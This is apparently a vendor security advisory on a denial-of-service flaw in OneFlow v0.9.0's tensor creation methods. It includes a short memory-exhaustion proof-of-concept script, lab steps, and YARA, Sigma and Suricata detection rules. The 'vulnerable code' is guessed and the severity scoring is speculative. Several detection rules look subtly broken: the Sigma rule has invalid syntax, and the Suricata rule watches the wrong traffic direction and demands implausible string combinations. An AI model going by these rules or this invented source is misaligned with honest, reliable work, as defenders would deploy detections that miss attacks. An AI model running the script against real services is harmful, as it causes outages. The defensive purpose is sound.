CVE-2025-71011

Executive Summary

CVE-2025-71011 is an input validation vulnerability in the OneFlow machine learning framework, specifically in the flow.Tensor.new_empty, flow.Tensor.new_ones, and flow.Tensor.new_zeros components. The flaw allows an attacker to craft a malicious input that triggers a Denial of Service (DoS) condition. The vulnerability affects OneFlow v0.9.0 and is currently unpatched. No public proof-of-concept (PoC) or exploit code is available at this time. The EPSS score is 0.0%, indicating low exploitation activity in the wild.

Supply Chain & Package Security

OneFlow is a Python-based deep learning framework distributed via PyPI. This vulnerability impacts the integrity of the software supply chain for any system using OneFlow v0.9.0. Organizations should verify their dependency trees and ensure no vulnerable versions are in use. The lack of a patch increases the risk of supply chain attacks if the package is used in production or CI/CD pipelines.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the description, a reasonable assessment would be:

• Attack Vector (AV): Network (N) – The crafted input can be sent remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability affects only the vulnerable component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete loss of availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Threat Level: Medium (Availability impact only, but no patch available).

Deep Dive & Mechanics

The vulnerability resides in the flow.Tensor.new_empty, flow.Tensor.new_ones, and flow.Tensor.new_zeros methods of OneFlow v0.9.0. These methods are used to create tensors with specified shapes and data types. The lack of proper input validation allows an attacker to supply malformed shape parameters (e.g., extremely large dimensions, negative values, or non-integer types) that cause the underlying memory allocation or tensor creation logic to fail catastrophically, leading to a crash or hang.

The core issue is that the framework does not sanitize the size argument before passing it to the underlying C++ runtime. For example, passing a shape like [999999999, 999999999] could exhaust memory, while a negative dimension could trigger undefined behavior in the memory allocator.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (OneFlow v0.9.0):

# In flow/tensor.py or similar
def new_empty(self, size, dtype=None, device=None, placement=None, sbp=None):
    # No input validation on size
    return self._new_empty(size, dtype, device, placement, sbp)

Expected Patched Code (Hypothetical):

def new_empty(self, size, dtype=None, device=None, placement=None, sbp=None):
    # Input validation
    if not isinstance(size, (list, tuple)):
        raise TypeError("size must be a list or tuple")
    for dim in size:
        if not isinstance(dim, int) or dim <= 0:
            raise ValueError("Each dimension must be a positive integer")
    # Additional bounds checking
    max_dims = 10000  # Example limit
    if len(size) > max_dims:
        raise ValueError("Too many dimensions")
    return self._new_empty(size, dtype, device, placement, sbp)

Exploitation & Lab Setup

Red Team

Since no public exploit exists, a red team would need to craft a malicious input. The following Python script demonstrates a potential DoS attack:

import oneflow as flow

# Create a tensor object (any tensor will do)
x = flow.tensor([1.0, 2.0, 3.0])

# Craft a malicious shape that causes memory exhaustion
malicious_shape = [10**9, 10**9]  # 1e9 x 1e9 elements

try:
    # Trigger the vulnerability
    y = x.new_empty(malicious_shape)
except Exception as e:
    print(f"Attack failed: {e}")

Lab Setup:

1. Install OneFlow v0.9.0: pip install oneflow==0.9.0
2. Run the script above in a controlled environment.
3. Monitor system resources (memory, CPU) to observe the DoS.

Blue Team

To detect and mitigate this attack:

• Monitor for abnormal memory allocation in processes running OneFlow.
• Implement input validation at the application layer before calling OneFlow APIs.
• Use resource limits (e.g., Docker memory limits, ulimit) to contain DoS impact.
• Deploy Web Application Firewall (WAF) rules to block requests with excessively large or malformed tensor shapes.

Indicators of Compromise (IOCs)

• Network: Unusual requests containing large numerical arrays or negative dimensions in API calls to OneFlow endpoints.
• Host: OneFlow process crash logs, out-of-memory (OOM) killer events, or excessive memory usage by Python processes.
• File: Core dumps from OneFlow processes.
• Logs: Error messages like RuntimeError: shape is invalid or std::bad_alloc in application logs.

Detection Engineering

YARA Rule

rule CVE_2025_71011_OneFlow_DoS {
    meta:
        description = "Detects OneFlow v0.9.0 input validation vulnerability"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-71011"
    strings:
        $s1 = "new_empty" ascii wide nocase
        $s2 = "new_ones" ascii wide nocase
        $s3 = "new_zeros" ascii wide nocase
        $s4 = "oneflow" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3) and $s4
}

Sigma Rule

title: OneFlow DoS via Malformed Tensor Shape
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-71011 by sending malformed tensor shapes to OneFlow v0.9.0
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: oneflow
detection:
    selection:
        EventID: 1000  # Example: Application crash event
        Image: '*oneflow*'
        CommandLine: '*new_empty*' or '*new_ones*' or '*new_zeros*'
    condition: selection
falsepositives:
    - Legitimate use of large tensors in training
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-71011 OneFlow DoS Attempt"; flow:to_server; content:"new_empty"; nocase; content:"new_ones"; nocase; content:"new_zeros"; nocase; content:"oneflow"; nocase; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Remove or upgrade OneFlow v0.9.0 from production systems. Since no patch exists, consider using an alternative framework (e.g., PyTorch, TensorFlow) until a fix is released.
• Short-term: Implement input validation in any code that calls new_empty, new_ones, or new_zeros to reject malformed shapes.
• Long-term: Monitor the OneFlow project for a security patch and apply it as soon as it becomes available.
• Compensating Controls: Use containerization with memory limits, deploy intrusion detection systems (IDS) with the above rules, and restrict network access to OneFlow services.

Valters IT
Securing Digital Frontiers